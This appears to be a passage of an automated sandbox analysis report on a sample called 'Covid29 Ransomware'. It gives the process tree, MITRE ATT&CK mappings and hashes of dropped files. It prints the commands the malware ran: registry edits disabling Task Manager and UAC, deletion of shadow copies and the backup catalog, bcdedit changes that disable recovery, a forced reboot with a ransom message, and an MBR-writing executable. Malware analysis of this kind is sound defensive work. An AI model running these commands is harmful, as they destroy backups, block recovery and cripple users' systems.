    PID:5016
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3340
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2032
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3896
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4200
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1612
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3884
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2524
- - C:\Users\Admin\AppData\Local\Temp\E09C.tmp\mbr.exe
    mbr.exe
    3⤵
    - Executes dropped EXE
    - Writes to the Master Boot Record (MBR)
    - System Location Discovery: System Language Discovery
    PID:2092
- - C:\Users\Admin\AppData\Local\Temp\E09C.tmp\Cov29Cry.exe
    Cov29Cry.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3400
  - - C:\Users\Admin\AppData\Roaming\svchost.exe
      "C:\Users\Admin\AppData\Roaming\svchost.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Drops desktop.ini file(s)
      Sets desktop wallpaper using registry
      Modifies registry class
      Suspicious behavior: AddClipboardFormatListener
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1708
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
        5⤵
        
        PID:920
      - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:2700
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:692
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
        5⤵
        
        PID:308
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:3164
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled no
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:2092
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
        5⤵
        
        PID:4892
      - C:\Windows\system32\wbadmin.exe
        
        wbadmin delete catalog -quiet
        6⤵
        Deletes backup catalog
        
        PID:4340
    - - C:\Windows\system32\NOTEPAD.EXE
        
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\covid29-is-here.txt
        5⤵
        
        PID:5316
- - C:\Windows\SysWOW64\shutdown.exe
    shutdown /r /t 300 /c "5 minutes to pay until you lose your data and system forever"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1616
- - C:\Windows\SysWOW64\PING.EXE
    ping localhost -n 9
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2444
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im explorer.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5484
- - C:\Users\Admin\AppData\Local\Temp\E09C.tmp\Cov29LockScreen.exe
    Cov29LockScreen.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:5548

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:3164

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4900

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:956

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5128

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:5164

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Management Instrumentation

T1047

Persistence

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
026e0c65239e15ba609a874aeac2dc33

SHA1
a75e1622bc647ab73ab3bb2809872c2730dcf2df

SHA256
593f20dfb73d2b81a17bfcc1f246848080dfc96898a1a62c5ddca62105ed1292

SHA512
9fb7644c87bdd3430700f42137154069badbf2b7a67e5ac6c364382bca8cba95136d460f49279b346703d4b4fd81087e884822a01a2a38901568a3c3e3387569

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
228fefc98d7fb5b4e27c6abab1de7207

SHA1
ada493791316e154a906ec2c83c412adf3a7061a

SHA256
448d09169319374935a249b1fc76bcf2430b4e1436611f3c2f3331b6eafe55a2

SHA512
fa74f1cc5da8db978a7a5b8c9ebff3cd433660db7e91ce03c44a1d543dd667a51659ba79270d3d783d52b9e45d76d0f9467458df1482ded72ea79c873b2a5e56

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
2KB

MD5
5c069120ecf799f148f72b9ae94799b9

SHA1
9f5a337dff2cd6182bc003a51e69d047e4fa6608

SHA256
eae59ad61c821fe80a6582a59fce65148f4941dea16a36539577c360563b0c5d

SHA512
5ebd3860f0aab0974f46bf67868b57b0779d406940297dbbdae8e4a57dbb2284077e035b3daadb35d67645c18b3dae22c56d7a0eaae9b52630c951be124e1d8a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
579B

MD5
46fa4f5f7344089589d117bd7599b3a9

SHA1
b6cc1fe19e527d4a372c97e4d195ed94eee40030

SHA256
223280d95a13f1af6af06459bbf230874500c212a2e16f63914eff3f22e8b57a

SHA512
6b680aedde7e806802652aab9ab31cb21438bc8756b063955e6f03bbbdf1273f7d47c40ec1a19fe27537afeb8d6cc219a246d31f7c6822b481649fe296e2a45c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
73a747eacf81ae532dde27520f3ef4b0

SHA1
ad75262201ec57a7e95ae05e4f496a32eff51295

SHA256
45d3bc0940abce5bddf50ca56129a09a417e1fcbb2e3ee720890894f888ceaf9

SHA512
bc370168e4ddf03b921d797ed54318dbb956058c17ab583b22e7f3eae93548d3d3c9a8a5aaf6f1274f92a8666528081e132a3c5a7aa4e2c11ac1bdef78d993e7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
aee9786057795b984cac8b4ec794f5f7

SHA1
270c9fced77d9fa2a6ed74edf20a7b081d5b6538

SHA256
6eb899eff870713515b713728798cb28f326a8f073df0c7964a38bf6b6f19a29

SHA512
3dc061af9983791f1f07bf247d23ce07fd715bc51f8989ae2fd108837a72376abad82c33f444a92c717ce545f67b971bb85785801b152d1a314b4c5a784fb997

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
a88f0cadee535f35a6e35f17846453d3

SHA1
7b0e0c1bb1ea0d6831b3a3423e9e30f457d6288e

SHA256
f273b5a6de74ea579e03ad40aa94b18cc5de6a55f16ac3e819d92c09beab3d1a

SHA512
51619bc72e524803432f3310f536e4552b8f3555358347755f8f400eb7daf2484848168210fafed7f6a6bf989fea29db105433ad98e7236d1958882a75cacdba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe57dfc1.TMP

Filesize
1KB

MD5
57809bd599816f5997116ec3a7a5285d

SHA1
66aca094d7262cd47fbe437d0dd0748a71f6b5fa

SHA256
e23e90034401f75826107303873f3c511c4f81e2dc41622574816b45b1a64dd3

SHA512
558aa6a58f5c5e833303854c031a7537821abaabc22beac3cce7aea40de7f5416558a913af13e67f128857d35028067bef776327c947026d53583c78e9932caf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
5eca77ff9df60695eefc8e358b3a82ef

SHA1
58be62439ce97fce9c0d0f37535f72ecedec9ff9

SHA256
239ccca367be0291cea5ba5a19a970e75e327d6c0d0f9ae0825840c49bdb497b

SHA512
3bad86f1962b26e10e7010be9bd77ecc60f44cdeedd0dfb425bde53d308558856ef25ca6bc6dbb57d1f03812c4d3e3da5d6485ea9a89c08f5672f3372af24702

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
67ddd1ceb4e80365fb574ca327d492d1

SHA1
b11920288bd49c70589c3101e8468e2020eda107

SHA256
ab52a0cefc284ae8bc676d495f7fce11e78490f0d89765e9af36cbb953273bbb

SHA512
44a0a4cba8973380d80aa05f0ef07370f245ad38fd76773602ad743e593a77b83ef4f412d3ef80113b1536b98f538d8c5186c6335528afadf9f732f99c522d0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\E09C.tmp\Cov29Cry.exe.death

Filesize
103KB

MD5
8bcd083e16af6c15e14520d5a0bd7e6a

SHA1
c4d2f35d1fdb295db887f31bbc9237ac9263d782

SHA256
b4f78ff66dc3f5f8ddd694166e6b596d533830792f9b5f1634d3f5f17d6a884a

SHA512
35999577be0626b50eeab65b493d48af2ab42b699f7241d2780647bf7d72069216d99f5f708337a109e79b9c9229613b8341f44c6d96245fd1f3ac9f05814d6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\E09C.tmp\Cov29LockScreen.exe

Filesize
48KB

MD5
f724c6da46dc54e6737db821f9b62d77

SHA1
e35d5587326c61f4d7abd75f2f0fc1251b961977

SHA256
6cde4a9f109ae5473703c4f5962f43024d71d2138cbd889223283e7b71e5911c

SHA512
6f83dd7821828771a9cae34881c611522f6b5a567f5832f9e4b9b4b59bf495f40ad78678bd86cba59d32ea8644b4aa5f052552774fea142b9d6da625b55b6afc

Download Submit
C:\Users\Admin\AppData\Local\Temp\E09C.tmp\TrojanRansomCovid29.bat

Filesize
1KB

MD5
57f0432c8e31d4ff4da7962db27ef4e8

SHA1
d5023b3123c0b7fae683588ac0480cd2731a0c5e

SHA256
b82e64e533789c639d8e193b78e06fc028ea227f55d7568865120be080179afc

SHA512
bc082486503a95f8e2ce7689d31423386a03054c5e8e20e61250ca7b7a701e98489f5932eba4837e05ec935057f18633798a10f6f84573a95fcf086ee7cabcbf

Download Submit
C:\Users\Admin\AppData\Local\Temp\E09C.tmp\fakeerror.vbs

Filesize
144B

MD5
c0437fe3a53e181c5e904f2d13431718

SHA1
44f9547e7259a7fb4fe718e42e499371aa188ab6

SHA256
f2571f03eb9d5ee4dca29a8fec1317ded02973c5dd233d582f56cebe98544f22

SHA512
a6b488fc74dc69fc4227f92a06deb297d19cd54b0e07659f9c9a76ce15d1ef1d8fa4d607acdd03d30d3e2be2a0f59503e27fc95f03f3006e137fa2f92825e7e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\E09C.tmp\mbr.exe.danger

Filesize
1.3MB

MD5
35af6068d91ba1cc6ce21b461f242f94

SHA1
cb054789ff03aa1617a6f5741ad53e4598184ffa

SHA256
9ac99df89c676a55b48de00384506f4c232c75956b1e465f7fe437266002655e

SHA512
136e3066c6e44af30691bcd76d9af304af0edf69f350211cf74d6713c4c952817a551757194b71c3b49ac3f87a6f0aa88fb80eb1e770d0f0dd82b29bfce80169

Download Submit
C:\Users\Admin\Desktop\covid29-is-here.txt

Filesize
861B

MD5
c53dee51c26d1d759667c25918d3ed10

SHA1
da194c2de15b232811ba9d43a46194d9729507f0

SHA256
dd5b3d185ae1809407e7822de4fced945115b48cc33b2950a8da9ebd77a68c52

SHA512
da41cef03f1b5f21a1fca2cfbf1b2b180c261a75d391be3a1ba36e8d4d4aefab8db024391bbee06b99de0cb0b8eb8c89f2a304c27e20c0af171b77db33b2d12c

Download Submit
C:\Users\Admin\Downloads\Covid29 Ransomware.zip

Filesize
1.7MB

MD5
272d3e458250acd2ea839eb24b427ce5

SHA1
fae7194da5c969f2d8220ed9250aa1de7bf56609

SHA256
bbb5c6b4f85c81a323d11d34629776e99ca40e983c5ce0d0a3d540addb1c2fe3

SHA512
d05bb280775515b6eedf717f88d63ed11edbaae01321ec593ecc0725b348e9a0caacf7ebcd2c25a6e0dc79b2cdae127df5aa380b48480332a6f5cd2b32d4e55c

Download Submit
C:\Users\Admin\Downloads\Covid29 Ransomware.zip:Zone.Identifier

Filesize
55B

MD5
0f98a5550abe0fb880568b1480c96a1c

SHA1
d2ce9f7057b201d31f79f3aee2225d89f36be07d

SHA256
2dfb5f4b33e4cf8237b732c02b1f2b1192ffe4b83114bcf821f489bbf48c6aa1

SHA512
dbc1150d831950684ab37407defac0177b7583da0fe13ee8f8eeb65e8b05d23b357722246888189b4681b97507a4262ece96a1c458c4427a9a41d8ea8d11a2f6

Download Submit
memory/1840-223-0x0000000000400000-0x00000000005D5000-memory.dmp

Filesize
1.8MB

Download
memory/1840-348-0x0000000000400000-0x00000000005D5000-memory.dmp

Filesize
1.8MB

Download
memory/2092-256-0x0000000000400000-0x00000000004D8000-memory.dmp

Filesize
864KB

Download
memory/3400-260-0x00000000000F0000-0x0000000000110000-memory.dmp

Filesize
128KB

Download